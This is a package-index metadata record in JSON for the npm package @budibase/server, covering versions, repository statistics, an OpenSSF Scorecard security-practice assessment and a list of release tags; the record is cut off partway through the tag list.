{"id":849847,"name":"@budibase/server","ecosystem":"npm","description":"Budibase Web Server","homepage":"https://github.com/Budibase/budibase#readme","licenses":"GPL-3.0","normalized_licenses":["GPL-3.0"],"repository_url":"https://github.com/Budibase/budibase","keywords_array":["budibase"],"namespace":"budibase","versions_count":3142,"first_release_published_at":"2025-11-03T14:50:38.251Z","latest_release_published_at":"2026-05-12T06:32:35.805Z","latest_release_number":"3.38.1","last_synced_at":"2026-09-11T13:55:38.782Z","created_at":"2022-04-07T14:32:36.898Z","updated_at":"2026-09-12T12:15:45.860Z","registry_url":"https://www.npmjs.com/package/@budibase/server","install_command":"npm install @budibase/server","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"develop":"2.11.27-alpha.1","2.12.6-alpha.1":"2.12.6-alpha.1","2.12.8":"2.12.8","2.12.12":"2.12.12","2.13.0":"2.13.0","2.13.2":"2.13.2","2.13.3":"2.13.3","2.13.4":"2.13.4","2.13.5":"2.13.5","2.13.6":"2.13.6","2.13.7":"2.13.7","2.13.8":"2.13.8","2.13.9":"2.13.9","latest":"3.38.1"},"contentPolicy":null},"repo_metadata":{"id":37270608,"uuid":"190729906","full_name":"Budibase/budibase","owner":"Budibase","description":"AI agents, automations and apps that run your operations. Model agnostic.","archived":false,"fork":false,"pushed_at":"2026-09-05T20:39:45.000Z","size":784210,"stargazers_count":28256,"open_issues_count":282,"forks_count":2200,"subscribers_count":221,"default_branch":"master","last_synced_at":"2026-09-05T20:47:36.810Z","etag":null,"topics":["ai-app-builder","ai-applications","crud-app","crud-application","data-application","data-apps","internal-tools","it-workflows","low-code","low-code-no-code","low-code-platform","no-code","no-code-platform","open-source","rest-api-framework","sql-gui","workflow-apps","workflow-automation","workflow-engine"],"latest_commit_sha":null,"homepage":"https://budibase.com","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Budibase.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":".github/CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":".github/CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2019-06-07T11:03:41.000Z","updated_at":"2026-09-05T13:17:06.000Z","dependencies_parsed_at":"2026-08-27T16:15:46.711Z","dependency_job_id":null,"html_url":"https://github.com/Budibase/budibase","commit_stats":{"total_commits":27202,"total_committers":115,"mean_commits":236.5391304347826,"dds":0.8140210278655982,"last_synced_commit":"8c0c76533304dc7aefe998bfd3338987a1fd24f3"},"previous_names":[],"tags_count":3383,"template":false,"template_full_name":null,"purl":"pkg:github/Budibase/budibase","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Budibase","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/sbom","scorecard":{"id":25019,"data":{"date":"2022-08-15","repo":{"name":"github.com/Budibase/budibase","commit":"34043f28103878b70f942d24c0973f8ba2b116a1"},"scorecard":{"version":"v4.5.0-17-g7772984","commit":"777298477c07c262a4ec7e95ceee839b7b3b75ae"},"score":6.1,"checks":[{"name":"Code-Review","score":3,"reason":"GitHub code reviews found for 11 commits out of the last 30 -- score normalized to 3","details":["Warn: no reviews found for commit: 34043f28103878b70f942d24c0973f8ba2b116a1","Warn: no reviews found for commit: 72a8248a0f2d4a1f10716de69329bd6ffc67464f","Warn: no reviews found for commit: f5df98d95ab90c797439849829a7e5c9d08c75f8","Warn: no reviews found for commit: 8e4ceb036b2c992a7fa94bccebb62602b1c14033","Warn: no reviews found for commit: e7c4cd4deb6989316757b1f629032a103d64b358","Warn: no reviews found for commit: 005132be9677220c32f8bed0972afb9aa8b662a6","Warn: no reviews found for commit: 5b6260ec486f361c8adeeb3f94cc0eee207d96fd","Warn: no reviews found for commit: ce639f213d1428a3070a6dd1dc6fbc47c1a547a5","Warn: no reviews found for commit: 8445acff4cace06c1c3e2bbdc00d6ffd667fefec","Warn: no reviews found for commit: 9657f01d61e877ce44a6860e03a90340deca4629","Warn: no reviews found for commit: c113a7b63298fd8f19fd44932657ab4b80caf6a0","Warn: no reviews found for commit: 55d9e4e939ee77560d32d2f9c6b3ad9ae3ddc8fb","Warn: no reviews found for commit: 58abbb6c8899474d54f71c7a7b5b748127aa8e45","Warn: no reviews found for commit: f99a6c69a530d1fc93090a86da6b3d341b776f71","Warn: no reviews found for commit: 9893db4bb0063a8ff1b4e0dd77a1f6990f71d217","Warn: no reviews found for commit: 0fbfadd2e8e7fce71801808bd7e54979f3c00928","Warn: no reviews found for commit: 2fbf39947a5d273017046adc7fe864f549de17bf","Warn: no reviews found for commit: c8bf6afe1a6ba3e6cf2843ebfb92507379ee66b8","Warn: no reviews found for commit: 4472b3cedce97eef5a2f19bd6f8fd49a78da50e9"],"documentation":{"short":"Determines if the project requires code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"30 commit(s) out of 30 and 11 issue activity out of 30 found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#maintained"}},{"name":"Vulnerabilities","score":10,"reason":"no vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#vulnerabilities"}},{"name":"CII-Best-Practices","score":2,"reason":"badge detected: in_progress","details":null,"documentation":{"short":"Determines if the project has a CII Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#cii-best-practices"}},{"name":"Signed-Releases","score":0,"reason":"0 out of 5 artifacts are signed or have provenance","details":["Warn: release artifact v1.2.36 does not have provenance: https://api.github.com/repos/Budibase/budibase/releases/74176939","Warn: release artifact v1.2.36 not signed: https://api.github.com/repos/Budibase/budibase/releases/74176939","Warn: release artifact v1.2.20 does not have provenance: https://api.github.com/repos/Budibase/budibase/releases/73886431","Warn: release artifact v1.2.20 not signed: https://api.github.com/repos/Budibase/budibase/releases/73886431","Warn: release artifact v1.2.9 does not have provenance: https://api.github.com/repos/Budibase/budibase/releases/73657258","Warn: release artifact v1.2.9 not signed: https://api.github.com/repos/Budibase/budibase/releases/73657258","Warn: release artifact v1.2.4 does not have provenance: https://api.github.com/repos/Budibase/budibase/releases/73450503","Warn: release artifact v1.2.4 not signed: https://api.github.com/repos/Budibase/budibase/releases/73450503","Warn: release artifact v1.2.2 does not have provenance: https://api.github.com/repos/Budibase/budibase/releases/73421186","Warn: release artifact v1.2.2 not signed: https://api.github.com/repos/Budibase/budibase/releases/73421186"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy detected in current repo: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#dangerous-workflow"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: : LICENSE:1"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#license"}},{"name":"Token-Permissions","score":0,"reason":"non read-only tokens detected in GitHub workflows","details":["Warn: no topLevel permission defined: .github/workflows/budibase_ci.yml:1: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/budibase_ci.yml/master?enable=permissions","Warn: no topLevel permission defined: .github/workflows/cla.yml:1: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/cla.yml/master?enable=permissions","Warn: no topLevel permission defined: .github/workflows/deploy-cloud.yaml:1: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-cloud.yaml/master?enable=permissions","Warn: no topLevel permission defined: .github/workflows/deploy-preprod.yml:1: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-preprod.yml/master?enable=permissions","Warn: no topLevel permission defined: .github/workflows/deploy-release.yml:1: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-release.yml/master?enable=permissions","Warn: no topLevel permission defined: .github/workflows/deploy-single-image.yml:1: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-single-image.yml/master?enable=permissions","Warn: no topLevel permission defined: .github/workflows/release-develop.yml:1: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release-develop.yml/master?enable=permissions","Warn: no topLevel permission defined: .github/workflows/release-selfhost.yml:1: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release-selfhost.yml/master?enable=permissions","Warn: no topLevel permission defined: .github/workflows/release.yml:1: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release.yml/master?enable=permissions","Warn: no topLevel permission defined: .github/workflows/smoke_test.yaml:1: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/smoke_test.yaml/master?enable=permissions"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#token-permissions"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":null,"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#fuzzing"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#binary-artifacts"}},{"name":"Dependency-Update-Tool","score":10,"reason":"update tool detected","details":["Info: Dependabot detected"],"documentation":{"short":"Determines if the project uses a dependency update tool.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#dependency-update-tool"}},{"name":"Packaging","score":10,"reason":"publishing workflow detected","details":["Info: GitHub publishing workflow used in run https://api.github.com/repos/Budibase/budibase/actions/runs/2838201247: .github/workflows/deploy-cloud.yaml:11"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#packaging"}},{"name":"Pinned-Dependencies","score":5,"reason":"dependency not pinned by hash detected -- score normalized to 5","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/budibase_ci.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/budibase_ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/budibase_ci.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/budibase_ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/budibase_ci.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/budibase_ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/budibase_ci.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/budibase_ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cla.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/cla.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/deploy-cloud.yaml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-cloud.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-cloud.yaml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-cloud.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-cloud.yaml:60: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-cloud.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-cloud.yaml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-cloud.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/deploy-preprod.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-preprod.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-preprod.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-preprod.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-preprod.yml:51: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-preprod.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-preprod.yml:72: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-preprod.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/deploy-release.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-release.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-release.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-release.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-release.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/deploy-single-image.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-single-image.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/deploy-single-image.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-single-image.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-single-image.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-single-image.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-single-image.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-single-image.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-single-image.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-single-image.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-single-image.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-single-image.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/deploy-single-image.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/deploy-single-image.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release-develop.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release-develop.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release-develop.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release-develop.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-develop.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release-develop.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-develop.yml:104: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release-develop.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-develop.yml:125: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release-develop.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release-selfhost.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release-selfhost.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-selfhost.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release-selfhost.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-selfhost.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release-selfhost.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-selfhost.yml:107: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release-selfhost.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:81: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:120: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:141: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/release.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/smoke_test.yaml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/smoke_test.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/smoke_test.yaml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/smoke_test.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/smoke_test.yaml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/smoke_test.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/smoke_test.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/AV29/react-redux-app-package/smoke_test.yaml/master?enable=pin","Warn: containerImage not pinned by hash: hosting/proxy/Dockerfile:1: pin your Docker image by updating nginx to nginx@sha256:790711e34858c9b0741edffef6ed3d8199d8faa33f2870dea5db70f16384df79","Warn: containerImage not pinned by hash: hosting/single/Dockerfile:1: pin your Docker image by updating node:14-slim to node:14-slim@sha256:4402144207a33ba95cb1119be593b9a9699721ad46e15acd32a0b5ca8784a527","Warn: containerImage not pinned by hash: hosting/single/Dockerfile:21: pin your Docker image by updating couchdb to couchdb@sha256:1b1108a42af5f6276fe032adf69f94eb5809dc61e8419af353d507b492e40cbd","Warn: containerImage not pinned by hash: packages/server/Dockerfile:1: pin your Docker image by updating node to node@sha256:a6f295c2354992f827693a2603c8b9b5b487db4da0714f5913a917ed588d6d41","Warn: containerImage not pinned by hash: packages/server/scripts/integrations/mssql/data/Dockerfile:1: pin your Docker image by updating mcr.microsoft.com/mssql/server to mcr.microsoft.com/mssql/server@sha256:ca2d56561e6cc50b175d97aeffc0efe33d661719ab94b826684b3ac5bff41d58","Warn: containerImage not pinned by hash: packages/worker/Dockerfile:1: pin your Docker image by updating node to node@sha256:a6f295c2354992f827693a2603c8b9b5b487db4da0714f5913a917ed588d6d41","Warn: npmCommand not pinned by hash: hosting/single/Dockerfile:69-72","Info: no insecure (not pinned by hash) dependency downloads found in Dockerfiles","Info: no insecure (not pinned by hash) dependency downloads found in shell scripts"],"documentation":{"short":"Determines if the project has declared and pinned its dependencies.","url":"https://github.com/ossf/scorecard/blob/777298477c07c262a4ec7e95ceee839b7b3b75ae/docs/checks.md#pinned-dependencies"}}]},"last_synced_at":"2025-08-14T17:41:29.137Z","repository_id":37270608,"created_at":"2025-08-14T17:41:29.137Z","updated_at":"2025-08-14T17:41:29.137Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":341189360,"owners_count":37045288,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-06T02:00:05.694Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"Budibase","name":"Budibase","uuid":"45009727","kind":"organization","description":"","email":null,"website":"https://www.budibase.com","location":"Belfast","twitter":"budibase","company":null,"icon_url":"https://avatars.githubusercontent.com/u/45009727?v=4","repositories_count":21,"last_synced_at":"2024-04-14T06:13:34.891Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/Budibase","funding_links":[],"total_stars":20854,"followers":313,"following":0,"created_at":"2022-11-13T19:35:26.785Z","updated_at":"2024-04-14T06:13:40.292Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Budibase","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Budibase/repositories"},"tags":[{"name":"v3.44.1-cloud.3","sha":"29352bc7602a1c2651e663642dc023798a51d9eb","kind":"tag","published_at":"2026-09-03T09:04:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/v3.44.1-cloud.3","html_url":"https://github.com/Budibase/budibase/releases/tag/v3.44.1-cloud.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@v3.44.1-cloud.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.1-cloud.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.1-cloud.3/manifests"},{"name":"v3.44.1-cloud.2","sha":"9deabf9085ec830634c8ed6c14de0f7eb5c06c3b","kind":"tag","published_at":"2026-09-02T14:18:30.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/v3.44.1-cloud.2","html_url":"https://github.com/Budibase/budibase/releases/tag/v3.44.1-cloud.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@v3.44.1-cloud.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.1-cloud.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.1-cloud.2/manifests"},{"name":"v3.44.1-cloud.1","sha":"a81a902e9a8fe55b467d106765f6638f12e35c49","kind":"tag","published_at":"2026-08-31T10:35:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/v3.44.1-cloud.1","html_url":"https://github.com/Budibase/budibase/releases/tag/v3.44.1-cloud.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@v3.44.1-cloud.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.1-cloud.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.1-cloud.1/manifests"},{"name":"v3.44.0","sha":"d1ed6085372679d5551aabfca5d277786c2c851b","kind":"tag","published_at":"2026-08-31T10:22:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/v3.44.0","html_url":"https://github.com/Budibase/budibase/releases/tag/v3.44.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@v3.44.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.0/manifests"},{"name":"v3.44.0-cloud.2","sha":"d1ed6085372679d5551aabfca5d277786c2c851b","kind":"tag","published_at":"2026-08-27T14:20:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/v3.44.0-cloud.2","html_url":"https://github.com/Budibase/budibase/releases/tag/v3.44.0-cloud.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@v3.44.0-cloud.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.0-cloud.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.0-cloud.2/manifests"},{"name":"v3.44.0-cloud","sha":"41e90fd8293cc22e3c2e28b39aa2a09aa4ff0bab","kind":"tag","published_at":"2026-08-24T09:02:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/v3.44.0-cloud","html_url":"https://github.com/Budibase/budibase/releases/tag/v3.44.0-cloud","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@v3.44.0-cloud","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.0-cloud","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.44.0-cloud/manifests"},{"name":"v3.43.0","sha":"bd8a66e31b549e102cea67c0debb68be895282c7","kind":"tag","published_at":"2026-08-24T08:45:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/v3.43.0","html_url":"https://github.com/Budibase/budibase/releases/tag/v3.43.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@v3.43.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.43.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.43.0/manifests"},{"name":"v3.43.0-cloud.2","sha":"bd8a66e31b549e102cea67c0debb68be895282c7","kind":"tag","published_at":"2026-08-20T10:05:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/v3.43.0-cloud.2","html_url":"https://github.com/Budibase/budibase/releases/tag/v3.43.0-cloud.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@v3.43.0-cloud.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.43.0-cloud.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/v3.43.0-cloud.2/manifests"},{"name":"v3.43.0-cloud","sha":"7ac941909518f02979cbb9f1b41132d93516d871","kind":"tag","published_at":"2026-08-17T12:04:41.000Z","download_url":"https://codeload.github.com/